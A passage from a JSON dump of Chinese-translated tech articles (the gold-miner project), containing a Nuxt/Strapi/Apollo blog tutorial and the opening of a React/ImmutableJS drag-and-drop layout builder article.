Code](https://www.welcometothejungle.com/collections/behind-the-code)，可以发现更多的文章和视频！**\n\n**想要参与贡献？[出版！](https://docs.google.com/forms/d/e/1FAIpQLSeelH8Eh0HohNrrDWnmKJGBRsFijXfMsMw1fPxOSGdMVypCyg/viewform?usp=sf_link)**\n\n**在 [Twitter](https://twitter.com/behind_thecode) 上关注我们吧，保持关注！**\n\n**[Blok](https://fr.creasenso.com/portfolio/blok) 声明**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/build-a-blog-using-nuxt-strapi-and-apollo.md",
    "content": "> * 原文地址：[Build a blog with Nuxt (Vue.js), Strapi and Apollo](https://strapi.io/blog/build-a-blog-using-nuxt-strapi-and-apollo)\n> * 原文作者：[Maxime Castres](https://slack.strapi.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/build-a-blog-using-nuxt-strapi-and-apollo.md](https://github.com/xitu/gold-miner/blob/master/TODO1/build-a-blog-using-nuxt-strapi-and-apollo.md)\n> * 译者：[vitoxli](https://github.com/vitoxli)\n> * 校对者：[Jessica](https://github.com/cyz980908)\n\n# 使用 Nuxt (Vue.js)、Strapi 和 Apollo 构建博客\n\n## 介绍\n\n几周前，我对自己上网的习惯进行了思考，具体来说，我主要思考了在放松状态下自己喜欢读些什么。通常我是这样做的：先进行搜索，然后去浏览最让我感兴趣的链接。然而最后发现，我总是在阅读有关别人人生经历的文章，而这与我最初搜索的内容相去甚远！\n\n博客非常适合分享经验，想法或感言。而 Strapi 可以帮助你方便地创建博客！所以，你肯定已经猜到这篇文章是关于什么的了。让我们学习如何使用 Strapi 来创建博客吧。\n\n## 目标\n\n如果你关注我们的博客，你应该已经学习了如何使用 [Gatsby](https://strapi.io/blog/building-a-static-website-using-gatsby-and-strapi) 来创建博客。但是，如果改用另一种语言该怎么实现呢？今天我们就是要学习如何使用 Vue.js 来创建博客。\n\n本文的目标是创建一个博客网站，这个网站使用 Strapi 作为后端，使用 Nuxt 作为前端，并使用 Apollo 通过 GraphQL 请求 Strapi API。\n\n可以在 GitHub 中获取源码：[https://github.com/strapi/strapi-tutorials/tree/master/tutorials/nuxt-strapi-apollo-blog/](https://github.com/strapi/strapi-tutorials/tree/master/tutorials/nuxt-strapi-apollo-blog/)\n\n## 准备工作\n\n要学习本教程，你的计算机上需要安装 Strapi 和 Nuxt，但是不用担心，我们来一起安装它们！\n\n**本教程使用 Strapi v3.0.0-beta.17.5。**\n\n**你需要确保安装了 v.12 版的 node。**\n\n## 安装\n\n创建一个名为 blog-strapi 的文件夹并跳转到这个文件夹中！\n\n* `mkdir blog-strapi && cd blog-strapi`\n\n#### 安装后端\n\n这部分很容易，因为在 beta.9 中有了一个很棒的软件包 [create strapi-app]([https://www.npmjs.com/package/create-strapi-app](https://www.npmjs.com/package/create-strapi-app))，你无需全局安装 Strapi 便可在几秒钟内创建一个 Strapi 项目，所以让我们尝试一下。\n\n（在这篇教程中，我们会使用 `yarn` 作为包管理工具）\n\n* `yarn create strapi-app backend --quickstart --no-run`.\n\n这条命令行将创建后端所需的全部内容。记得添加 `--no-run`，因为它会阻止应用自动启动服务，之所以这么做，是因为**剧透：我们需要安装一些很棒的 Strapi 插件。**\n\n既然你已经知道我们需要安装一些插件来增强应用了，那让我们来安装广受欢迎的 `graphql` 插件吧：\n\n* `yarn strapi install graphql`\n\n安装完成后，你可以通过 `strapi dev` 来启动 Strapi 服务并且创建你的第一个管理员账号。这个账号拥有应用的所有权限，所以选择一个合适的密码吧，像（**password123**）这种密码就太不安全了。\n\n![](https://blog.strapi.io/content/images/2019/11/Creation-admin.png)\n\nStrapi 运行在 [http://localhost:1337](http://localhost:1337)\n\n**很好！** 现在 Strapi 已经就绪了，我们可以开始创建 Nuxt 应用了。\n\n#### 安装前端\n\n好啦，最简单的部分已经完成了，现在让我们开发我们的博客吧！\n\n**安装 Nuxt**\n\n通过以下命令来创建 Nuxt `前端`服务：\n\n* `yarn create nuxt-app frontend`\n\n**注意：** 终端将提示一些有关项目的详细信息。这些信息与我们的博客关联性不大，因此可以忽略它们。不过，我仍强烈建议你阅读官方文档。让我们继续吧，一直按 Enter 键就好！\n\n同样，安装结束后，可以启动前端应用以确保进展顺利。\n\n```\ncd frontend  \nyarn dev\n```\n\n你可能希望有人阅读你的博客或者你想让你的博客“可爱又好看”，我们将使用流行的 CSS 框架 `UiKit` 来设置样式并使用 `Apollo` 通过 **GraphQL** 来查询 Strapi。\n\n**安装依赖**\n\n在运行以下命令前，先确保你在 `frontend` 文件夹中：\n\n**安装 Apollo**\n\n* `yarn add @nuxtjs/apollo graphql`\n\n必须在 `nuxt.config.js` 中进行模块和 Apollo 的设置。\n\n* 在 `nuxt.config.js` 中添加以下模块和 apollo 配置：\n\n`/frontend/nuxt.config.js`\n\n```js\n...\nmodules: [  \n  '@nuxtjs/apollo',\n],\napollo: {  \n  clientConfigs: {\n    default: {\n      httpEndpoint: process.env.BACKEND_URL || \"http://localhost:1337/graphql\"\n    }\n  }\n},\n...\n```\n\n（因为我们已经在安装后端时安装了 graphql 插件，所以无需再次安装。这种方式可以让项目更加一致）。\n\n**安装 Uilkit**\n\nUIkit 是一个轻量级的模块化前端框架，用于开发快速而强大的 Web 界面。\n\n* `yarn add uikit`\n\n现在，你需要通过创建一个插件来在 Nuxt 应用中初始化 UIkit 的 Js。\n\n* 创建 `/frontend/plugins/uikit.js` 文件并复制/粘贴下面的代码：\n\n```js\nimport Vue from 'vue'\n\nimport UIkit from 'uikit/dist/js/uikit-core'  \nimport Icons from 'uikit/dist/js/uikit-icons'\n\nUIkit.use(Icons)  \nUIkit.container = '#__nuxt'\n\nVue.prototype.$uikit = UIkit  \n```\n\n* Add the following part in your `nuxt.config.js` file\n\n```css\n...\ncss: [  \n    'uikit/dist/css/uikit.min.css',\n    'uikit/dist/css/uikit.css',\n    '@assets/css/main.css'\n  ],\n  /*\n  ** Plugins to load before mounting the App\n  */\n  plugins: [\n    { src: '~/plugins/uikit.js', ssr: false }\n  ],\n...\n```\n\n如你所见，我们同时配置了 UIkit 和 `main.css`！现在，我们需要创建 `main.css` 文件。\n\n```css\na {  \n  text-decoration: none;\n}\n\nh1  {  \n  font-family: Staatliches;\n  font-size: 120px;\n}\n\n#category {\n   font-family: Staatliches;\n   font-weight: 500;\n}\n\n#title {\n  letter-spacing: .4px;\n  font-size: 22px;\n  font-size: 1.375rem;\n  line-height: 1.13636;\n}\n\n#banner {\n  margin: 20px;\n  height: 800px;\n}\n\n#editor {\n  font-size: 16px;\n  font-size: 1rem;\n  line-height: 1.75;\n}\n\n.uk-navbar-container {\n  background: #fff !important;\n  font-family: Staatliches;\n}\n\nimg:hover {  \n  opacity: 1;\n  transition: opacity 0.25s cubic-bezier(0.39, 0.575, 0.565, 1);\n}\n```\n\n**注意：** 你无需理解这个文件中的内容。只是一些样式 ;）\n\n让我们为项目添加漂亮的字体（Staatliches）吧！\n\n* 将下面的对象添加到 `nuxt.config.js` 文件中的 `link` 数组中\n\n```js\nlink: [  \n      { rel: 'stylesheet', href: 'https://fonts.googleapis.com/css?family=Staatliches' }\n    ]\n```\n\n**完美！** 重启服务，并准备好被你应用的前端页面惊艳吧！\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-06-a--15.30.14.png)\n\n#### 设计数据结构\n\n终于到了这一步！我们将通过创建 `article` 内容类型来构建文章的数据结构：\n\n* 查看你的 strapi 管理面板，然后点击侧边栏中的 `Content Type Builder`\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-06-a--15.39.45.png)\n\n* 点击 `Add A Content Type` 并命名为 `article`\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-06-a--15.39.53.png)\n\n现在，你将为你的内容类型创建所有字段：\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-06-a--15.40.02.png)\n\n* 创建如下字段：\n    * `title`：**String** 类型 (**必填**)\n    * `content`：**Rich Text** 类型 (**必填**)\n    * `image`：**Media** 类型 (**必填**)\n    * `published_at`：**Date** 类型 (**必填**)\n\n**点击保存！** 现在，你的第一个内容类型就创建好了。可能现在你就想创建你的第一篇文章，但是在此之前我们还要做一件事：**开放文章内容类型权限**\n\n* 点击 [Roles & Permission](http://localhost:1337/admin/plugins/users-permissions/roles) 然后选择 `public`。\n* 选中文章的`find` 和 `findone` 选项并保存。\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-06-a--16.00.00.png)\n\n**棒极了！** 现在你可以创建你的第一篇文章了，并可以在 GraphQL Playground 中获取到它。\n\n* 创建你的第一篇文章还有更多内容！\n\n**例子如下** ![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-13-a--16.51.46.png)\n\n**棒极了！** 现在，你可能想通过 API 真正地获取到文章！\n\n* 访问 [http://localhost:1337/articles](http://localhost:1337/articles)\n\n这是不是很棒！你还可以使用 [GraphQL Playground](http://localhost:1337/graphql) 尝试获取文章\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-06-a--16.30.06.png)\n\n#### 创建分类\n\n你可能想为文章设置一个分类（新闻、趋势、看法）。你将通过在 strapi 中创建另一种内容类型来做到这一点。\n\n* 创建一个具有如下字段的 `category` 内容类型\n    * `name`：**String** 类型\n\n**点击保存!**\n\n* 在 **Article** 内容类型中创建 **Relation** 的**新字段**，如下图所示，`一个分类下有很多文章`。\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-13-a--16.43.33.png)\n\n* 点击 [Roles & Permission](http://localhost:1337/admin/plugins/users-permissions/roles) 并点击 `public`。 选择分类的 `find` 和 `findone` 选项并保存。\n\n现在，你可以在右侧的边栏中为文章选择一个类别。\n\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-13-a--16.51.46-1.png)\n\n现在我们已经熟悉了 Strapi，让我们开始前端的部分吧！\n\n#### 为应用创建布局\n\nNuxt 将默认的布局存储在 `layouts/default.vue` 文件中。让我们将其修改为我们自己的！\n\n```html\n<template>  \n  <div>\n\n    <nav class=\"uk-navbar-container\" uk-navbar>\n        <div class=\"uk-navbar-left\">\n\n          <ul class=\"uk-navbar-nav\">\n              <li><a href=\"#modal-full\" uk-toggle><span uk-icon=\"icon: table\"></span></a></li>\n              <li>\n                <a href=\"/\">Strapi Blog\n                </a>\n              </li>\n          </ul>\n\n        </div>\n\n        <div class=\"uk-navbar-right\">\n          <ul class=\"uk-navbar-nav\">\n              <!-- <li v-for=\"category in categories\">\n                <router-link :to=\"{ name: 'categories-id', params: { id: category.id }}\" tag=\"a\">{{ category.name }}\n                </router-link>\n              </li> -->\n          </ul>\n        </div>\n    </nav>\n\n    <div id=\"modal-full\" class=\"uk-modal-full\" uk-modal>\n        <div class=\"uk-modal-dialog\">\n            <button class=\"uk-modal-close-full uk-close-large\" type=\"button\" uk-close></button>\n            <div class=\"uk-grid-collapse uk-child-width-1-2@s uk-flex-middle\" uk-grid>\n                <div class=\"uk-background-cover\" style=\"background-image: url('https://images.unsplash.com/photo-1493612276216-ee3925520721?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=3308&q=80 3308w');\" uk-height-viewport></div>\n                <div class=\"uk-padding-large\">\n                    <h1 style=\"font-family: Staatliches;\">Strapi blog</h1>\n                    <div class=\"uk-width-1-2@s\">\n                        <ul class=\"uk-nav-primary uk-nav-parent-icon\" uk-nav>\n                          <!-- <li v-for=\"category in categories\">\n                            <router-link class=\"uk-modal-close\" :to=\"{ name: 'categories-id', params: { id: category.id }}\" tag=\"a\">{{ category.name }}\n                            </router-link>\n                          </li> -->\n                        </ul>\n                    </div>\n                    <p class=\"uk-text-light\">Built with strapi</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    <nuxt />\n  </div>\n</template>\n\n<script>\n\nexport default {  \n}\n\n</script>\n```\n\n如你所见，两段代码被注释了。\n\n```html\n  <!-- <li v-for=\"category in categories\">\n                <router-link :to=\"{ name: 'categories-id', params: { id: category.id }}\" tag=\"a\">{{ category.name }}\n                </router-link>\n              </li> -->\n...\n\n        <!-- <li v-for=\"category in categories\">\n                            <router-link class=\"uk-modal-close\" :to=\"{ name: 'categories-id', params: { id: category.id }}\" tag=\"a\">{{ category.name }}\n                            </router-link>\n                          </li> -->\n\n```\n\n实际上，你希望能够列出导航栏中的每个分类。为此，我们需要使用 Apollo 来获取它们，让我们来编写查询！\n\n* 创建 `apollo/queries/category` 文件夹并在其中创建 `categories.gql` 文件，文件内容如下：\n\n```graphql\nquery Categories {  \n  categories {\n    id\n    name\n  }\n}\n```\n\n* 取消注释并用下面的代码替换 `default.vue` 文件中 `script` 标签中的内容。\n\n```html\n<script>  \nimport categoriesQuery from '~/apollo/queries/category/categories'\n\nexport default {  \n  data() {\n    return {\n      categories: [],\n    }\n  },\n  apollo: {\n    categories: {\n      prefetch: true,\n      query: categoriesQuery\n    }\n  }\n}\n\n</script>  \n```\n\n**注意**当前代码不适合展示很多分类，所以你可能会遇到一些 UI 的问题。而且本篇文章应该要简短一些，所以你可以通过懒加载等方式来自己改进代码。\n\n目前，链接不起作用，我们将在教程后面部分进行处理 ;)\n\n### 创建文章组件\n\n这个组件将在不同的页面上显示你所有文章，因此通过一个组件列出它们并不是一个坏主意。\n\n* 创建 `components/Articles.vue` 文件并包含如下内容：\n\n```html\n<template>  \n  <div>\n\n    <div class=\"uk-child-width-1-2\" uk-grid>\n        <div>\n          <router-link v-for=\"article in leftArticles\" :to=\"{ name: 'articles-id', params: {id: article.id} }\" class=\"uk-link-reset\">\n            <div class=\"uk-card uk-card-muted\">\n                 <div v-if=\"article.image\" class=\"uk-card-media-top\">\n                     <img :src=\"'http://localhost:1337' + article.image.url\" alt=\"\" height=\"100\">\n                 </div>\n                 <div class=\"uk-card-body\">\n                   <p id=\"category\" v-if=\"article.category\" class=\"uk-text-uppercase\">{{ article.category.name }}</p>\n                   <p id=\"title\" class=\"uk-text-large\">{{ article.title }}</p>\n                 </div>\n             </div>\n         </router-link>\n\n        </div>\n        <div>\n          <div class=\"uk-child-width-1-2@m uk-grid-match\" uk-grid>\n            <router-link v-for=\"article in rightArticles\" :to=\"{ name: 'articles-id', params: {id: article.id} }\" class=\"uk-link-reset\">\n              <div class=\"uk-card uk-card-muted\">\n                   <div v-if=\"article.image\" class=\"uk-card-media-top\">\n                       <img :src=\"'http://localhost:1337/' + article.image.url\" alt=\"\" height=\"100\">\n                   </div>\n                   <div class=\"uk-card-body\">\n                     <p id=\"category\" v-if=\"article.category\" class=\"uk-text-uppercase\">{{ article.category.name }}</p>\n                     <p id=\"title\" class=\"uk-text-large\">{{ article.title }}</p>\n                   </div>\n               </div>\n             </router-link>\n          </div>\n\n        </div>\n    </div>\n\n  </div>\n</template>\n\n<script>  \nimport articlesQuery from '~/apollo/queries/article/articles'\n\nexport default {  \n  props: {\n    articles: Array\n  },\n  computed: {\n    leftArticlesCount(){\n      return Math.ceil(this.articles.length / 5)\n    },\n    leftArticles(){\n      return this.articles.slice(0, this.leftArticlesCount)\n    },\n    rightArticles(){\n      return this.articles.slice(this.leftArticlesCount, this.articles.length)\n    }\n  }\n}\n</script>  \n```\n\n如你所见，多亏了 GraphQL 查询，你可以获取文章，让我们来编写它！\n\n* 创建一个 `apollo/queries/article/articles.gql` 文件并包含如下内容：\n\n```graphql\nquery Articles {  \n  articles {\n    id\n    title\n    content\n    image {\n      url\n    }\n    category{\n      name\n    }\n  }\n}\n```\n\n**太棒了！** 现在可以创建你的主页面了。\n\n### 索引页\n\n让我们使用新组件来列出索引页上的每篇文章！\n\n* 更新 `pages/index.vue` 文件中的代码:\n\n```html\n<template>  \n  <div>\n\n    <div class=\"uk-section\">\n      <div class=\"uk-container uk-container-large\">\n        <h1>Strapi blog</h1>\n\n        <Articles :articles=\"articles\"></Articles>\n\n      </div>\n    </div>\n\n  </div>\n</template>\n\n<script>  \nimport articlesQuery from '~/apollo/queries/article/articles'  \nimport Articles from '~/components/Articles'\n\nexport default {  \n  data() {\n    return {\n      articles: [],\n    }\n  },\n  components: {\n    Articles\n  },\n  apollo: {\n    articles: {\n      prefetch: true,\n      query: articlesQuery,\n      variables () {\n        return { id: parseInt(this.$route.params.id) }\n      }\n    }\n  }\n}\n</script>\n```\n\n**太棒了！** 现在你可以通过 GraphQL API 真正地获取到文章了！\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-13-a--15.38.17.png)\n\n### 文章页\n\n如果你点击文章，现在是没有任何东西的。让我们一起来创建文章页吧！\n\n* 创建 `pages/articles` 文件夹并在其中创建 `_id.vue` 文件，文件代码如下：\n\n```html\n<template>  \n  <div>\n\n      <div v-if=\"article.image\" id=\"banner\" class=\"uk-height-small uk-flex uk-flex-center uk-flex-middle uk-background-cover uk-light uk-padding\" :data-src=\"'http://localhost:1337' + article.image.url\" uk-img>\n        <h1>{{ article.title }}</h1>\n      </div>\n\n      <div class=\"uk-section\">\n        <div class=\"uk-container uk-container-small\">\n            <div v-if=\"article.content\" id=\"editor\">{{ article.content }}</div>\n            <p v-if=\"article.published_at\">{{ moment(article.published_at).format(\"MMM Do YY\") }}</p>\n        </div>\n      </div>\n\n  </div>\n</template>\n\n<script>  \nimport articleQuery from '~/apollo/queries/article/article'  \nvar moment = require('moment')\n\nexport default {  \n  data() {\n    return {\n      article: {},\n      moment: moment,\n    }\n  },\n  apollo: {\n    article: {\n      prefetch: true,\n      query: articleQuery,\n      variables () {\n        return { id: parseInt(this.$route.params.id) }\n      }\n    }\n  }\n}\n</script>  \n```\n\n这里只需要获取一篇文章，让我们编写查询！\n\n* 创建 `apollo/queries/article/article.gql`，包含如下代码：\n\n```graphql\nquery Articles($id: ID!) {  \n  article(id: $id) {\n    id\n    title\n    content\n    image {\n      url\n    }\n    published_at\n  }\n}\n\n```\n\n![](https://media.giphy.com/media/fwDprKZ2a3dqUwvEtK/giphy.gif)\n\n好了，你可能想用 Markdown 语法来展示博客内容？\n\n* 通过 `yarn add @nuxtjs/markdownit` 安装 `markdownit`。\n* 将其添加到 `nuxt.config.js` 文件的模块中，并在下面添加 mardownit 对象的配置：\n\n```js\n...\nmodules: [  \n    '@nuxtjs/apollo',\n    '@nuxtjs/markdownit'\n],\nmarkdownit: {  \n    preset: 'default',\n    linkify: true,\n    breaks: true,\n    injected: true\n  },\n...\n```\n\n* 通过替换负责显示内容的代码，来显示 `_id.vue` 文件中的内容。\n\n```html\n...\n<div v-if=\"article.content\" id=\"editor\" v-html=\"$md.render(article.content)\"></div>  \n...\n```\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-13-a--16.26.32.png)\n\n### 分类\n\n现在让我们为每个分类创建一个页面!\n\n* 创建 `pages/categories` 文件夹并在其中创建 `_id.vue` 文件，该文件包含如下代码：\n\n```html\n<template>  \n  <div>\n\n    <client-only>\n    <div class=\"uk-section\">\n      <div class=\"uk-container uk-container-large\">\n        <h1>{{ category.name }}</h1>\n\n        <Articles :articles=\"category.articles || []\"></Articles>\n\n      </div>\n    </div>\n  </client-only>\n  </div>\n</template>\n\n<script>  \nimport articlesQuery from '~/apollo/queries/article/articles-categories'  \nimport Articles from '~/components/Articles'\n\nexport default {  \n  data() {\n    return {\n      category: []\n    }\n  },\n  components: {\n    Articles\n  },\n  apollo: {\n    category: {\n      prefetch: true,\n      query: articlesQuery,\n      variables () {\n        return { id: parseInt(this.$route.params.id) }\n      }\n    }\n  }\n}\n</script>  \n```\n\n别忘记写查询！\n\n* 创建 `apollo/queries/article/articles-categories` 包含以下内容：\n\n```graphql\nquery Category($id: ID!){  \n  category(id: $id) {\n    name\n    articles {\n         id\n      title\n      content\n      image {\n        url\n      }\n      category {\n        id\n        name\n      }\n    }\n  }\n}\n```\n\n![](https://blog.strapi.io/content/images/2019/11/Capture-d-e-cran-2019-11-14-a--10.57.13.png)\n\n**太棒了！** 现在可以通过分类来导航了 :)\n\n### 总结\n\n恭喜，你成功地完成了本教程。希望你喜欢它！\n\n![](http://giphygifs.s3.amazonaws.com/media/b5LTssxCLpvVe/giphy.gif)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/build-a-drag-and-drop-dnd-layout-builder-with-react-and-immutablejs.md",
    "content": "> * 原文地址：[Build a Drag and Drop layout builder with React and ImmutableJS](https://medium.com/javascript-in-plain-english/build-a-drag-and-drop-dnd-layout-builder-with-react-and-immutablejs-78a0797259a6)\n> * 原文作者：[Chris Kitson](https://medium.com/@kitson.mac)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/build-a-drag-and-drop-dnd-layout-builder-with-react-and-immutablejs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/build-a-drag-and-drop-dnd-layout-builder-with-react-and-immutablejs.md)\n> * 译者：[fireairforce](https://github.com/fireairforce)\n> * 校对者：[Eternaldeath](https://github.com/Eternaldeath), [portandbridge](https://github.com/portandbridge)\n\n# 使用 React 和 ImmutableJS 构建一个拖放布局构建器\n \n![Drag and Drop in React!](https://cdn-images-1.medium.com/max/11812/1*3fSiTsc1lvObuewgJH1J7A.jpeg)\n\n## 使用 React 和 ImmutableJS 构建一个拖放（DnD）布局构建器 \n\n『**拖放**』这一类的行为存在着巨大的用户需求，例如构建网站（Wix）或交互式应用程序（Trello）。毫无疑问，这种类型的交互创造了非常酷的用户体验。如果再加上一些最新的 UI 技术，我们可以创建一些非常好的软件。\n\n## 这篇文章的最终目标是什么？\n\n我想构建一个能让用户使用一系列可定制 UI 组件来构建布局的拖放布局构建器，最终能构建出一个网站或者是 web 应用程序。 　\n\n## 我们会用到哪些库？\n\n 1. **React**\n 2. **ImmutableJS**\n\n下面花一点时间来解释它们在构建这个项目时所起的作用。\n\n## React\n\n[React](https://reactjs.org/) 基于声明式编程，这意味着它根据状态来进行渲染。状态（State）实际上只是一个 JSON 对象，它具有告诉 React 应该怎么去渲染（样式和功能）的属性。与操作 DOM 的库（例如 jQuery）不同，我们不直接改变 DOM，而是通过修改状态（state）然后让 React 去负责 DOM（**稍后会介绍 DOM**）。\n\n在这个项目中，假设有一个父组件来保存布局的状态（JSON 对象），并且这个状态将被传递给其他的组件，这些组件都是 React 中的无状态组件。\n\n这些组件的作用是从父组件中获取状态，然后根据其属性来渲染本身。\n\n以下是一个具有三个 link 对象的状态的简单示例：\n\n```js\n{\n  links:  [{\n    name: \"Link 1\",\n    url: \"http://link.one\",\n    selected: false\n  }, {\n    name: \"Link 2\",\n    url: \"http://link.two\",\n    selected: true\n  }, {\n    name: \"Link 3\",\n    url: \"http://link.three\",\n    selected: false\n  }]\n}\n```\n\n通过上面的例子，我们可以遍历 links 数组来为每个元素创建一个无状态组件：\n\n```ts\ninterface ILink {\n  name: string;\n  url: string;\n  selected: boolean;\n}\n\nconst LinkComponent = ({ name, url, selected }: ILink) =>\n<a href={url} className={selected ? 'selected': ''}>{name}</a>;\n```\n\n你可以看到我们如何根据状态中保存的选定属性将 css 类『selected』应用到 links 数组组件。下面是呈现给浏览器的内容：\n\n```html\n<a href=\"http://link.two\" class=\"selected\">Link 2</a>\n```\n\n## ImmutableJS\n\n我们已经了解了状态在我们项目中的重要性，它是使 React 组件如何渲染的**唯一真实的数据来源**。React 中的状态保存在不可变的数据结构中。\n\n简而言之，这意味着一旦创建了数据对象，**就不能**直接去修改它。除非我们创建一个具有更改状态的新对象。\n\n让我们用另外一个简单的例子来说明不变性：\n\n```ts\ninterface ILink {\n  name: string;\n  url: string;\n  selected: boolean;\n}\n\nconst link: ILink = {\n    name: \"Link 1\",\n    url: \"http://link.one\",\n    selected: false\n}\n```\n\n在传统的 JavaScript 中，你可以通过下面的操作来更新 link 对象：\n\n```js\nlink.name = 'New name';\n```\n\n如果我们的状态是不可变的，那么上面操作不可能完成的，那么我们必须要创建一个 name 属性已经被修改的新对象。\n\n```js\nlink = {...link, name: 'New name' };\n```\n\n**注意：为了支持不变性，React 为我们提供了一个方法 `this.setState()`，我们可以使用它来告诉组件状态已经改变，并且组件还需要重新进行渲染如果状态发生任何改变。**\n\n上面只是基本示例，但是如果想要在复杂的 JSON 状态结构中更改嵌套了多层的属性应该怎么做？\n\nECMA Script 6 为我们提供了一些方便的操作符和方法来改变对象，但它们并不适用于复杂的数据结构，这就是我们需要 [ImmutableJS](https://github.com/immutable-js/immutable-js) 来简化任务的原因。 \n\n稍后我们会使用 ImmutableJS，但是现在你只需要知道它具有给我们提供简便的方法用来改变复杂的状态方面的作用。\n\n![](https://cdn-images-1.medium.com/max/2000/1*IugEwe6Lkm5iFB-Q9zvc5w.jpeg)\n\n## HTML5 拖放（DnD）\n\n所以我们知道我们的状态是一个不可变的 JSON 对象，而 React 来负责处理组件，但我们需要有趣的用户交互体验，对吧？\n\n幸亏有了 HTML5 使得这实际上非常简单，因为它提供了我们可以用来检测拖动组件的时间和放置它们的位置的方法。由于 React 将原生 HTML 元素暴露给浏览器，因此我们可以使用原生的事件方法使我们的实现更加简单。\n\n**注意：我得知使用 HTML5 实现的 DnD 可能存在一些问题但如果没有其它的问题，这可能是一个探究课程，如果发现有问题的话，我们之后可以换掉它。**\n\n在这个项目中，我们拥有用户可以拖动的组件（HTML divs），我称他们为**可拖动组件**。\n\n同时我们也拥有允许用户放置组件的区域， 我称他们为**可放置组件**。\n\n使用原生 HTML5 事件如 `onDragStart`、`onDragOver` 和 `onDragDrop`，我们也应该拥有基于 DnD 交互更改应用程序状态所需要的东西。\n\n**以下是一个可拖动组件的实例：**\n\n```ts\nexport interface IDraggableComponent {\n  name: string;\n  type: string;\n  draggable?: boolean;\n  onDragStart: (ev: React.DragEvent<HTMLDivElement>, name: string, type: string) => void;\n}\n\nexport const DraggableComponent = ({\n  name,\n  type,\n  onDragStart,\n  draggable = true\n}: IDraggableComponent) =>\n<div className='draggable-component' draggable={draggable} onDragStart={(ev) => onDragStart(ev, name, type)}>{name}</div>;\n```\n\n在上面的代码片段中，我们渲染了一个 React 组件，该组件使用 `onDragStart` 事件告诉父组件我们正开始拖动组件。我们还可以通过传递 `draggable` 属性来切换拖动它的能力。\n\n**以下是一个可放置组件的实例：**\n\n```ts\nexport interface IDroppableComponent {\n  name: string;\n  onDragOver: (ev: React.DragEvent<HTMLDivElement>) => void;\n  onDrop: (ev: React.DragEvent<HTMLDivElement>, componentName: string) => void;\n}\n\nexport const DroppableComponent = ({\n  name,\n  onDragOver,\n  onDrop\n}: IDroppableComponent) =>\n<div className='droppable-component'\n  onDragOver={(ev: React.DragEvent<HTMLDivElement>) => onDragOver(ev)}\n  onDrop={(ev: React.DragEvent<HTMLDivElement>) => onDrop(ev, name)}>\n  <span>Drop components here!</span>\n</div>;\n```\n\n在上面的组件中，我们正在监听 `onDrop` 事件，因此我们可以根据放进可放置组件的新组件来更新状态。\n\n**好的，是时候快速回顾一下，然后将他们全部放到一起：**\n\n**我们将使用 React 中基于状态对象的少量解耦无状态组件来渲染整个布局。用户交互将由 HTML5 DnD 事件来处理，而时间会使用 ImmutableJS 来触发对状态对象的更改。**\n\n![](https://cdn-images-1.medium.com/max/2000/1*06515Z0luWKxNzfsz8tKBw.gif)\n\n## 拖动全部\n\n现在我们已经对要做的事情以及如何处理它们有了深刻的了解，让我们考虑一下这个难题中的一些最重要的部分：\n\n 1. 布局状态\n 2. 拖放构建器组件\n 3. 渲染网格内的嵌套组件\n\n## 1. 布局状态\n\n为了使我们的组件能表示无限的布局组合，状态需要灵活且可拓展。我们还需要记住的是，如果想要表示任何给定布局的 DOM 